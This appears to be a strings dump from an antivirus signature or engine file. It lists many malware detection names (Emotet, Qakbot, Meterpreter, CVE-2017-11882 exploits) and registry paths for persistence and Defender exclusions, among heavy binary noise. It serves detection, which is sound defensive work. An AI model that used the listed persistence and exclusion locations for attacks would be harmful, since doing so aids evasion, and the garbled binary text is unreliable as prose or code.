!#ALF:Trojan:Win32/Mikey.KA!MTB !#ALFPER:Backdoor:Win32/Lojax.A !#SIGATTR:Worm:Win32/Autorun.HI !#SIGATTR:Worm:Win32/Autorun.HIL0 !#Trojan:Win32/AgentBypass.genL 0(070@ 
!#Trojan:Win32/Malex.gen!attr.D !#ALF:Trojan:MSIL/Androm.OE!MTB #q<{Emn !#ALF:Trojan:MSIL/Crysan.PA!MTB  }A;M r` }A;M !#ALF:Trojan:MSIL/Zenpak.RB!MTB 
!#ALF:VirTool:MSIL/Gopher.A!MTB !#SIGATTR:MSIL/CryptInject.AR96 `\" M: !#SIGATTR:Win32/AVEVASION.B!MTB !#SLFPER:MSIL/PsBypassLogging.A yY5j*@ !#MPTEST-AGG-20 0 QmB 0 QmB 
!#SIG:Miuref.Q1 !#SIGATTR:TrojanDownloader:Win32/Maldldr.gen!C.1 !#SIGATTR:Win32/InstallCore.ReadOwnProcessMemory !#ATTRIBUTE:SIGA:MISL:PossibleCopyToRemovalbe:S1 
!#ATTRIBUTE:SIGA:MSIL:SymmetricAlgo:Rijndael.S01 o`/`kI !#SIGATTR:Worm:Win32/CopyItselfAndRegister!LowFi !#ALF:Trojan:Win32/Ekstak.AA!MTB !#ALF:Trojan:Win32/Fareit.RF!MTB 
!#SIGATTR:Backdoor:Win32/Zacom.B h0 7WN !#SIGATTR:Dialer:Win32/Adialer.F DE0 [ (070@ !#SIGATTR:Dialer:Win32/Adialer.G !#SIGATTR:Dialer:Win32/Adialer.G 0 
!#SIGATTR:Trojan:Win32/Ubexado.A !#SIGATTR:Trojan:Win32/Ubexado.Ak0 !#TEL:Trojan:Win32/Eggnog.SM!MTB !#ALF:HackTool:MSIL/Watson.B!MTB !#ALF:Trojan:MSIL/Azorult.AC!MTB 
!#ALF:Trojan:MSIL/Stealer.FE!MTB !#ALF:VirTool:MSIL/RunasCS.A!MTB  by) r` by) !#SIGA:TrojanSpy:MSIL/Stealer.S1 !#SIGATTR:MSIL/AgentTesla.AP!MTB !#Sigattr:MSIL/AgentTesla.ND!MTB f)a 
o` !#SIG:Yesudac.C1 0$=AU !#//SIGATTR:Java.processClassPath !#ALF:JASYP:Worm:Win32/Bagle!atmn !#ALF:JASYP:Worm:Win32/Sfone!atmn !#SIGATTR:Backdoor:Win32/Cycbot.G h0 7WN 
!#SIGATTR:Trojan:Win32/Zapchast.H !#SIGATTR:Trojan:Win32/Zapchast.HJ0 !#SIGATTR:Worm:Win32/Fasong.H.dll !#SIGATTR:Worm:Win32/Fasong.H.dll 0 i 7 !#ALF:MSIL/NtProtectMarshalCopy.A 
!#ALF:VirTool:MSIL/PELoader.B!MTB !#Wkysol:do_exhaustivehstr_rescan @T#m%d @T#m%d70 !#ALFPER:SIG:ElexBrowserToolbar.A ^w%Wa` !#SIG:Frosparf.I1 *=Z[@ !#SIG:Hicrazyk.D1 
!#SIGATTR:vmmgrow K0J0\t ?{ 0 !#MustEmulateTest !#ALF:JASYP:PWS:Win32/QQThief!atmn !#ALF:JASYP:Trojan:Win32/Mira!atmn [#'@> !#ALF:JASYP:Worm:Win32/Fasong!atmn 0%#39 
!#ALF:JASYP:Worm:Win32/Mydoom!atmn !#ALF:JASYP:Worm:Win32/Vobfus!atmn !#SIGATTR:Trojan:Win32/Busky.gen!C !#SIGATTR:Trojan:Win32/Busky.gen!C 0 
!#SIGATTR:Trojan:Win32/C2Lop.gen!G !#SIGATTR:Trojan:Win32/C2Lop.gen!GJ0 !#SIGATTR:Trojan:Win32/Kill_Others !#SIGATTR:Trojan:Win32/Kill_OthersA0 
!#SIGATTR:Worm:Win32/IRCBotInstall !#SIGATTR:deepemu_febipos_obsidium !#ALF:VirTool:MSIL/SharpClip.A!MTB !#SIGATTR:VirTool:MSIL/Injector.HM !#SIGATTR:VirTool:MSIL/Injector.HS 
!#SIGATTR:VirTool:MSIL/Injector.IA !#SIGATTR:VirTool:MSIL/Injector.IC a ! z; a ! z; !#SIGATTR:VirTool:MSIL/Injector.IS !#SIGATTR:VirTool:MSIL/Injector.IV !#SIGATTR:Gifuz.A1 
!#//JAVATTR:JavaObcryptoatsomepoint !#//JAVATTR:JavaObsubstringparseint !#//JAVATTR:JavaObsubstringparseint  !#ALF:JASYP:Ransom:Win32/Locky!atmn 
!#ALF:JASYP:Trojan:Win32/C2Lop!atmn !#ALF:JASYP:Trojan:Win32/Vundo!atmn !#ALF:JASYP:Worm:Win32/AutoRun!atmn 32\\quartz.dll <CLSID\\{E436EBB8-524F-11ce-9F53-
0020AF0BA770}\\InprocServer32 <CLSID\\{FEB50740-7BEF-11ce-9BD9-0000E202599C}\\InProcServer32 <clsid\\{068b0700-718c-11d0-8b1a-00a0c91bc90e}\\inprocserver32 
>C:\\WINDOWS\\system32\\msconf.dll <clsid\\{25336921-03f9-11cf-8fd0-00aa00686f13}\\inprocserver32 >c:\\windows\\system32\\mshtml.dll <clsid\\{32b533bb-edae-11d0-bd5a-
00aa00b92af1}\\inprocserver32 >C:\\WINDOWS\\system32\\urlmon.dll <clsid\\{32da2b15-cfed-11d1-b747-00c04fc2b085}\\inprocserver32 <clsid\\{33facfe0-a9be-11d0-a520-
00a0d10129c0}\\inprocserver32 <clsid\\{418afb70-f8b8-11ce-aac6-0020af0b99a3}\\inprocserver32 <clsid\\{4662daa9-d393-11d0-9a56-00c04fb68bf7}\\inprocserver32 >c:\\windows\\System32\\itircl.dll 
<clsid\\{4662dab0-d393-11d0-9a56-00c04fb68b66}\\inprocserver32 >C:\\WINDOWS\\system32\\hhctrl.ocx <clsid\\{4a7ded0a-ad25-11d0-98a8-0800361b1103}\\inprocserver32 
>c:\\windows\\system32\\mydocs.dll <clsid\\{50b6327f-afd1-11d2-9cb9-0000f87a369e}\\inprocserver32 >C:\\Windows\\System32\\adsldp.dll <clsid\\{59ce6880-acf8-11cf-b56e-
0080c7c4b68a}\\inprocserver32 <clsid\\{60254ca5-953b-11cf-8c96-00aa00b8708c}\\inprocserver32 >C:\\Windows\\system32\\wshext.dll <clsid\\{607fd4e8-0a03-11d1-ab1d-
00c04fc9b304}\\inprocserver32 <clsid\\{6bc096d5-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc09896-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 
>C:\\WINDOWS\\system32\\iassam.dll <clsid\\{6bc09897-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc09898-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc098a6-0ce6-
11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc098a7-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{79376820-07d0-11cf-a24d-0020afd79767}\\inprocserver32 <clsid\\{79eac9e0-
baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9e3-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9e6-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\
{79eac9e7-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9f1-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 <clsid\\{79eac9f2-baf9-11ce-8c82-00aa004ba90b}\\inprocserver32 
<clsid\\{7b8a2d94-0ac9-11d1-896c-00c04fb6bfc4}\\inprocserver32 <clsid\\{7e3fcea1-31b4-11d2-ae1f-0080c7337ea1}\\inprocserver32 >c:\\windows\\system32\\msxml3.dll <clsid\\{85131630-480c-11d2-
b1f9-00c04f86c324}\\inprocserver32 <clsid\\{94abaf2a-892a-11d1-bbc4-00a0c90640bf}\\inprocserver32 >C:\\WINDOWS\\system32\\devmgr.dll <clsid\\{99847c33-b1b4-11d1-8f10-
00c04fc2c17b}\\inprocserver32 >C:\\WINDOWS\\system32\\comuid.dll <clsid\\{E4206432-01A1-4BEE-B3E1-3702C8EDC574}\\inprocserver32 <clsid\\{aeb84c83-95dc-11d0-b7fc-
b61140119c4a}\\inprocserver32 >C:\\WINDOWS\\system32\\dmview.ocx <clsid\\{bacf5c8a-a3c7-11d1-a760-00c04fb9603f}\\inprocserver32 >C:\\WINDOWS\\system32\\appmgr.dll <clsid\\{ea502722-
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%!#SCRIPT:VirTool:Win32/AutInject.BS.1+ MJ((3%!#SCRIPT:VirTool:Win32/AutInject.BS.1+ %!#SCRIPT:VirTool:Win32/AutInject.BS.1 (3%!#SCRIPT:VirTool:Win32/AutInject.BS.1 ;Ffn 
%!#SCRIPTLOWFI:Trojan:PHP/Redirector.H (3%!#SCRIPTLOWFI:Trojan:PHP/Redirector.H &!#ALF:Exploit:Win32/CVE-2017-11882!MTB (4&!#ALF:Exploit:Win32/CVE-2017-11882!MTB 
&!#ALF:SCRIPT:Trojan:Win32/Asruex.A!dha )(4&!#ALF:SCRIPT:Trojan:Win32/Asruex.A!dha (4&!#ALF:SCRIPT:Trojan:Win32/Asruex.A!dha &!#ALF:TrojanDownloader:VBS/Gozi.SS!MTB 
(4&!#ALF:TrojanDownloader:VBS/Gozi.SS!MTB &!#FP_TrojanDownloader:HTML/Adodb.gen_A (4&!#FP_TrojanDownloader:HTML/Adodb.gen_A &!#SCRIPT:TrojanDropper:Win32/Sarvdap.A 
(4&!#SCRIPT:TrojanDropper:Win32/Sarvdap.A &!#SCRIPT:VirTool:Win32/Injector.gen!EP (4&!#SCRIPT:VirTool:Win32/Injector.gen!EP &!#TEL:Powershell/ReflectivePEInjection 
(4&!#TEL:Powershell/ReflectivePEInjection '!#ALF:SCPT:Trojan:JS/Redirector.MRF!bitV (5'!#ALF:SCPT:Trojan:JS/Redirector.MRF!bitV '!#ALF:SCPT:Trojan:JS/Redirector.MRF!bit 
(5'!#ALF:SCPT:Trojan:JS/Redirector.MRF!bit  '!#SCRIPT:TrojanDropper:VBS/Bladabindi.D (5'!#SCRIPT:TrojanDropper:VBS/Bladabindi.D '!#TEL:Exploit:O97M/CVE-2017-0199.JK!MTB 
(5'!#TEL:Exploit:O97M/CVE-2017-0199.JK!MTB '!#TEL:TrojanDownloader:VBS/Schopets!MSR (5'!#TEL:TrojanDownloader:VBS/Schopets!MSR (!#ALF:Exploit:O97M/CVE-2017-11882.AV!MTBk_] 
(6(!#ALF:Exploit:O97M/CVE-2017-11882.AV!MTBk_] (!#ALF:Exploit:O97M/CVE-2017-11882.JR!MTB (6(!#ALF:Exploit:O97M/CVE-2017-11882.JR!MTB (!#ALF:Exploit:O97M/CVE-2017-
11882.SS!MTBy (6(!#ALF:Exploit:O97M/CVE-2017-11882.SS!MTBy (!#ALF:Exploit:O97M/CVE-2017-11882.SS!MTB (6(!#ALF:Exploit:O97M/CVE-2017-11882.SS!MTB 
(!#ALF:TrojanDownloader:VBS/Obfuse.AP!MTB (6(!#ALF:TrojanDownloader:VBS/Obfuse.AP!MTBJ@q (!#SCRIP:HackTool:Python/Smbexec!MSR.S001 
(6(!#SCRIP:HackTool:Python/Smbexec!MSR.S001 (!#SCRIP:HackTool:Python/Smbexec!MSR.S002 (6(!#SCRIP:HackTool:Python/Smbexec!MSR.S002 (!#TEL:Exploit:O97M/CVE-2017-
11882.JR!MTBh (6(!#TEL:Exploit:O97M/CVE-2017-11882.JR!MTBh (!#TEL:Exploit:O97M/CVE-2017-11882.JR!MTB (6(!#TEL:Exploit:O97M/CVE-2017-11882.JR!MTB (!#TEL:Exploit:O97M/CVE-2017-
11882.RA!MTB (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB! (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB! (!#TEL:Exploit:O97M/CVE-2017-
11882.RA!MTB8 (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB8 (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBAt (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBAt (!#TEL:Exploit:O97M/CVE-
2017-11882.RA!MTBL (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBL (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBM (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBM 
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(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBl (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBl (!#TEL:TrojanDropper:PowerShell/Plugx!dha (6(!#TEL:TrojanDropper:PowerShell/Plugx!dha 
)!#ALF:TrojanDownloader:LNK/Agent.SIBA!MTB (7)!#ALF:TrojanDownloader:LNK/Agent.SIBA!MTB )!#ALF:TrojanDownloader:O97M/EncDoc.AS!MTBXTJ 
(7)!#ALF:TrojanDownloader:O97M/EncDoc.AS!MTBXTJ )!#ALF:TrojanDownloader:O97M/EncDoc.SA!MTBh (7)!#ALF:TrojanDownloader:O97M/EncDoc.SA!MTBh 
)!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB  (7)!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB  )!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB 
(7)!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB )!#ALF:TrojanDownloader:O97M/Obfuse.JM!MTBh (7)!#ALF:TrojanDownloader:O97M/Obfuse.JM!MTBh 
)!#ALF:TrojanDownloader:O97M/Powdow.AV!MTBu^ (7)!#ALF:TrojanDownloader:O97M/Powdow.AV!MTBu^ )!#ALF:TrojanDownloader:O97M/Qakbot.AS!MTBe 
(7)!#ALF:TrojanDownloader:O97M/Qakbot.AS!MTBe )!#SCPT:TrojanDownloader:BAT/Powdow.X1!MSR (7)!#SCPT:TrojanDownloader:BAT/Powdow.X1!MSR 
)!#SCRIPT:Backdoor:Win32/AluminumApt!lowfi (7)!#SCRIPT:Backdoor:Win32/AluminumApt!lowfi )!#SCRIPT:BrowserModifier:Win32/DefaultTab (7)!#SCRIPT:BrowserModifier:Win32/DefaultTab 
*!#ALF:TrojanDownloader:O97M/IcedID.PKX!MTBh (8*!#ALF:TrojanDownloader:O97M/IcedID.PKX!MTBh *!#TEL:TrojanDownloader:O97M/Emotet.STD!MTB 
(8*!#TEL:TrojanDownloader:O97M/Emotet.STD!MTB *!#TEL:TrojanDownloader:O97M/Emotet.WRD!MTBK (8*!#TEL:TrojanDownloader:O97M/Emotet.WRD!MTBK 
*!#TEL:TrojanDownloader:O97M/ObfBook.JK!MTBh (8*!#TEL:TrojanDownloader:O97M/ObfBook.JK!MTBh +!#//SCPT:TrojanDropper:AndroidOS/Gustuff.aa 
(9+!#//SCPT:TrojanDropper:AndroidOS/Gustuff.aa +!#ALF:HackTool:PowerShell/MysteryPart.A!MTBv0 (9+!#ALF:HackTool:PowerShell/MysteryPart.A!MTBv0 
+!#ALF:SCRP:TrojanDownloader:JS/Nemucod.S0a0 (9+!#ALF:SCRP:TrojanDownloader:JS/Nemucod.S0a0 +!#ALF:Trojan:AndroidOS/FakeAdBlockerCert.A1Vfk 
(9+!#ALF:Trojan:AndroidOS/FakeAdBlockerCert.A1Vfk +!#ALF:Trojan:PowerShell/Meterpreter.SIB! (9+!#ALF:Trojan:PowerShell/Meterpreter.SIB!  f97877392a32  fb7814d4bc30  fb78362a0fe6  
fe780a9cff74  fe783ac7be81  10578f13cf283  109781cef300a  249782bccf2e8  !#Lua:MsilMpAttributeML!func !#Lua:MsilMpAttributeML!funcObMpAttributes 237887428d07   2e78d0a53169 
3678ba8453c0 3d7891a17dbf  4a7820e2d697  517833c240a5  5a78e5e2a362  687849052314 8978411aa98c b778dc7357d4 b961ed6273cb  d278e0c5b46b e4785b460595 fd782e507ee8 
6978ea097b39 6978ea097b39Flags1 HSTR:Chaflicon 1027802cba9d1  10278788e17cc  103780a601f5c  103781259e139  1047856b61490  104788088a6f2  10578bb6daea7  106787e298866  
10678f34d9baa  1087802e977ae  10878e6a36d45  10a78138db430  10b78be477e20  10b78e9794e95  10d784e45ce6b  10d78afdd93c0  10d78ea2bf57b  10f783cf7ae3e  10f78d239ccec  
10f78f5d33371  11178201ea098  11178a8d40fbc  11378fe79ed85  114780d6e5801  11478d3cc79e7  1156181bf590a  1167800a1023f  1167827113d11  11678869381bf  117618bd584ca  
11778286e731f  11878e3b8e18a  11878eea6ecf5  11b7824f7c497  11c780085cce5  11d78b00d18c8  11f7867f03502  11f787e0b2cad  1207866d3419c  120789634ba9e  12078db2543a7  
121781cccb27d 123789c47137f  124613f1d038c  12540d2eff87e  125785ced0ef4  12578e76cd58d  1267823ee5e6e  126788db98d77  128788e87e83f  C\\VdqC !~on#5P OA3JP I_K\"O `e:~~ +#km(# 
f%\\S{  f%\\S{ dL{cU f&dlV[I4  f&dlV[I4 8# ax _Kb#f9 ux3?SL [xX2L =<WwMo *}{{e=  f/{( f2'}-t5\\  f2'}-t5\\ '3_R8 2~H@$&0 c1xA^b f8F^E,  f8F^E,  f:8V DlZtl <]%9$ X 8\\X  f<\"<  f=i\" !8<z  i7*4[[ ,LBO3  
fC<F  fD0( 't:xV 5\\13}9E fEfJa  fEfJa  fG!v fI/js  fI/js u\\Db^  fJ>w *7aTi  fQqU  fRd:  fSBt gq,jt4|X B-@LF0b  fV%L  fW$N m+Coc @Vi vnTVa  f]'w  f_[[ /ghw+  n/\"Y (Kc4' fc6.A  fc6.A fc`'?8&  fc`'?8& fe=xz  
fe=xz feU0}  feU0} &<b&*=S|  fg$]  fgT[ nzf ;dD] fjs#2  fmDy 7Bec' j!`oa Evkyh ,p r4 pcdX   fwZ-  fxvY fy#PB  fy#PBVV fzHv>  fzHv> jK$9| 7DtNH  f~=D lnnHd N,9Y+> 9 gw^ ..GF{ .EF^p q14XH x0|=,1#4 )
(L V 6,U46au*G*' y^rt\"- dI{{!- )82!7 _2>Sj B<-as DE<2. 4!rfb 5h68qC s|=ij xG`0|7JP 4Dn]x 0u$]> J>+Sh }o~e}_ feGrl vU!@pM Og\\w[ 8D\"yI oft\\Internet Explorer\\Approved Extensions 
HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Ext\\CLSID BHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Ext\\CLSID 
HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ @HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ 
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ @HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ HKLM\\SOFTWARE\\Microsoft\\Internet 
Explorer\\ApprovedExtensionsMigration\\ GHKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\ApprovedExtensionsMigration\\ HKCU\\Software\\Microsoft\\Internet 
Explorer\\ApprovedExtensionsMigration\\ GHKCU\\Software\\Microsoft\\Internet Explorer\\ApprovedExtensionsMigration\\ HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser 
Helper Objects OHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects 
HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects 
[HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects 
OHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects 
[HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ 
PHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ 
\\HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ %SystemRoot%\\Tasks %SystemRoot%\\System32\\Tasks  
specialfolder://norecursive:taskscheduler: +specialfolder://norecursive:taskscheduler: specialfolder://recursive:taskscheduler: )specialfolder://recursive:taskscheduler: 
HKLM\\SOFTWARE\\Microsoft\\SchedulingAgent (HKLM\\SOFTWARE\\Microsoft\\SchedulingAgent TasksFolder HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders 
FHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders hkcuserkey OSMinorVersion \\System32\\drivers\\etc\\hosts # Copyright (c) 1993-2006 Microsoft Corp. *# Copyright 
(c) 1993-2006 Microsoft Corp. D# This is a sample HOSTS file used by Microsoft TCP/IP for Windows. F# This file contains the mappings of IP addresses to host names. Each D# entry should be kept 
on an individual line. The IP address should I# be placed in the first column followed by the corresponding host name. G# The IP address and the host name should be separated by at least one \t# 
space. G# Additionally, comments (such as these) may be inserted on individual ?# lines or following the machine name denoted by a '#' symbol. @#      102.54.94.97     rhino.acme.com          # source 
server @#       38.25.63.10     x.acme.com              # x client host # localhost name resolution is handle within DNS itself. 9# localhost name resolution is handle within DNS itself. #       127.0.0.1       
localhost \"#       127.0.0.1       localhost #       ::1             localhost \"#       ::1             localhost # Copyright (c) 1993-1999 Microsoft Corp. *# Copyright (c) 1993-1999 Microsoft Corp.   
HKLM\\SOFTWARE\\Classes\\AppID\\ HKLM\\SOFTWARE\\Classes\\WOW6432Node\\AppID\\ )HKLM\\SOFTWARE\\Classes\\WOW6432Node\\AppID\\ AppId 
HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ \\HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image 
File Execution Options\\ HKLM\\SOFTWARE\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command 
HHKLM\\SOFTWARE\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command  \\Internet Explorer\\iexplore.exe 
HKLM\\SOFTWARE\\Wow6432Node\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command 
THKLM\\SOFTWARE\\Wow6432Node\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command HKLM\\SOFTWARE\\Policies\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths 
HHKLM\\SOFTWARE\\Policies\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0 
1HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0 restrictsendingntlmtraffic HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\ 
KHKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\  taskscheduler \\System32\\Tasks\\ HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender 
2HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender SenseEnabled  ManagedDefenderProductType PartnerGuid ^%s*(.-)%s*$  !#Lua:ContextFromQakbotDownload 3C$ @ pYov5V1 : ]ZDz 
IO/Z6  IO/Z6 5|6\"f yO!! % Zy 1 :  IU\\i VLV.}!l M{6?#t IXE:K  IXE:K  IZUz I\\\t-[  I\\\t-[ I\\T_%  I\\T_% I][tp  I][tp >Md%ft   IcjG  Ie\\< G\\=/D u.5cF Ih`1$  Ih`1$ _U7Mj `'78j hAq+z  IoIQ  IrP0 2aQ$i*T  IvCo 
Ix}#=  Ix}#= q($+n Iy?_1  Iy?_1  IzxA HqpYy oVC+j  I{<_ tSr8^ (`E+n z `Hu Y/{\t{ sdUUs R4'Y! Qy`J(r L _>u J\t,!T`#*y1 kBd?A JoSmc p<q-\t <T;,%o F-8$O nDG9!( (<|m= };J6'v jdY2G ]e$,w> W\\]bC 
J>'De <O)7J2o qGZi<B %OIQv L ~r/`aGA e/Fnu#. G0 +> \\lhcO h,iG& h|tO\" B{*o~i] ;B{*o~i] 0MVu%  l!%a (nWYNV +eRsX T(.7N yM k{ _N%>) }v.oI 8O:Re ! 1f9Zn 2Gs  2Gs |Ls9|Lsc|Ls^}Ls:}Ls 
Ls=vLs9 KskvLs wLs6wLs KscxLs uLsHuLs vLs%vLs vLs%vLs% LsgtLs TASKMAN.EXE Ls  \"TASKMAN.EXE) WLsZMsvMs Ls%s(%d) Ls%s(%d)> Gs\\CDs4gDs9 CDsaCDs9gDs gDsUjDs0 GsnVMs 
Ms\\\\] [...]> Ms*.* Ms*.*c:\\X> Ks6'Ds \tNsm\tNs \tNsm\tNs>  NsY Ns ,Nsa-Ns +Nsq-Ns -Ns.Ns ,Ns0-Ns ,Ns/,NsK,Ns_,Nss,Ns GsC/Ns3/Ns KsM0Ns .NsVB5DB.DLL KsnJNs JNsCLNs IsODBC ODBC; 
IsODBCODBC;SourceNumberHelpContextHelpFileDescription> Nsaoxomoxoa AccessObjSiteData OlePres000 NsOleUIPasteSpecialA OleUIInsertObjectA OLEDLG.DLL 
NsOleUIPasteSpecialAOleUIInsertObjectAOLEDLG.DLLr mbmabptebkjcdlgtjmskjwtsdhjbmkmwtrak c&Os^ mbmabptebkjcdlgtjmskjwtsdhjbmkmwtrakAdminData1WSc&Os^ &OsTypesSupported 
EventMessageFile System\\CurrentControlSet\\Services\\EventLog\\Application &OsTypesSupportedEventMessageFileSystem\\CurrentControlSet\\Services\\EventLog\\Application CsvCOs 
COs!DOsPDOs{DOs DOsgEOs4FOsxFOs GOszGOs _Os$`Os CsUdOs}dOs:  Out of memory) ( tPGs$ lPGs# `PGs% TPGs' LPGs& @PGs( 4PGs! (PGs\" 
tPGs$lPGs#`PGs%TPGs'LPGs&@PGs(4PGs!(PGs\" xOGs. lOGs/ dOGsp \\OGsq TOGsr LOGss DOGst <OGsu 4OGsv ,OGsw $OGsx 
OGs.xOGs.lOGs/dOGsp\\OGsqTOGsrLOGssDOGst<OGsu4OGsv,OGsw$OGsx EnableEventMonitor VBAEV_%s 
FINALHANJAJUNJAHANGEULMODECHANGEACCEPTNONCONVERTCONVERTKANJIKANAF16F15F14F13F12F11F10F9F8F7F6F5F4F3F2F1HELPDELETEDELINSERTCAPSLOCKCLEARBSB
KSPBACKSPACEBREAKPRTSCSCROLLLOCKNUMLOCKPGDNPGUPDOWNUPRIGHTLEFTENDHOMEESCAPEESCTABENTERCLSIDEnableEventMonitorVBAEV_%s 
OsUnknownProject.UnknownModule UnknownProcedure@0x%x() InternalBasicMethodCall %s.%s(...) %s.#%d(...) %s.%s %s.%s.Procedure@0x%x(...) %s.%s.%s(...) Host Event VBA_Internals 
UnnamedHostEvent@0x%x() VBA_unknown_function(..) .root. %s.%s.%s%s%s _B_str_ _B_var_ UnknownProcedure UnknownModule UnknownProject (...) STORED_OBJECT BLOB_OBJECT 
ClipboardFormat VT_??? STREAMED_OBJECT LPWSTR LPSTR HRESULT Unsigned Integer64 Integer64 Unsigned Long Unsigned Integer Unsigned Character Character VARIANT Boolean 
SCODE IDispatch Single Integer VBA_Compilation VBA_Initialization VBA_none VBA_Run VBA_idle_time() VBA_eval_constant_expression() VBA_new_BasicClass() VBA_PrintObject() 
VBA_unknown_function(...) OsUnknownProject.UnknownModuleUnknownProcedure@0x%x()InternalBasicMethodCall%s%s.%s(...)%s.#%d(...)%s.%s%s.%s.Procedure@0x%x(...)%s.%s.%s(...)Host 
EventVBA_InternalsUnnamedHostEvent@0x%x()VBA_unknown_function(..).root.%s.%s.%s%s%sPut_Let_$_B_str__B_var_UnknownProcedureUnknownModuleUnknownProjectUnknownProcedure,
((...)UnknownModuleUnknownProject[]STORED_OBJECTBLOB_OBJECTClipboardFormatVT_???STREAMED_OBJECTLPWSTRLPSTRUDT *ArrayHRESULTvoidUINTintUnsigned 
Integer64Integer64Unsigned LongUnsigned IntegerUnsigned 
CharacterCharacterDecimalIUnknownVARIANTBooleanSCODEIDispatchStringDateCurrencyRealSingleLongIntegerNULLVBA_CompilationVBA_InitializationVBA_noneVBA_RunVBA_idle_time()VBA_
eval_constant_expression()VBA_new_BasicClass()VBA_PrintObject()VBA_unknown_function(...)intl >SeSystemtimePrivilege >SeSystemtimePrivilegeERROR FALSETRUENULL 9 F!F5LAKRCSG 9 
F!F5LAKRCSGK   ,\"# #ERROR#FALSE##TRUE##NULL#              ?*    $ \t steamy |TestRecordByteDecimalUnknownVariantBooleanErrorObjectStringDateCurrencyDoubleSingleLongIntegerNullEmpty 
RKPs^ NothingRKPs^ KPs7LPsdLPs Gs@-Sst Gs@-SstGs -SsdGs GsD-Ss< Gs<-Ss$ Gs,-Ss -SsPGsD-Ss<Gs<-Ss$Gs,-Ss Fs8-Ss FsH-Ss Fs0-Ss Fs4-Ss| FsL-Ssp Fs$-Ssd Fs -Ss< Fs(-Ss 
ImmGetDefaultIMEWnd [GsImmGetDefaultIMEWndSendIMEMessageExAUSER32.DLL> 4`Gs\t e+000 runtime error  TLOSS error SING error DOMAIN error R6028  - unable to initialize heap R6027  - 
not enough space for lowio initialization R6026  - not enough space for stdio initialization R6025  - pure virtual function call R6024  - not enough space for _onexit/atexit table R6019  - unable to open 
console device R6018  - unexpected heap error R6017  - unexpected multithread lock error R6016  - not enough space for thread data   abnormal program termination R6009  - not enough space for 
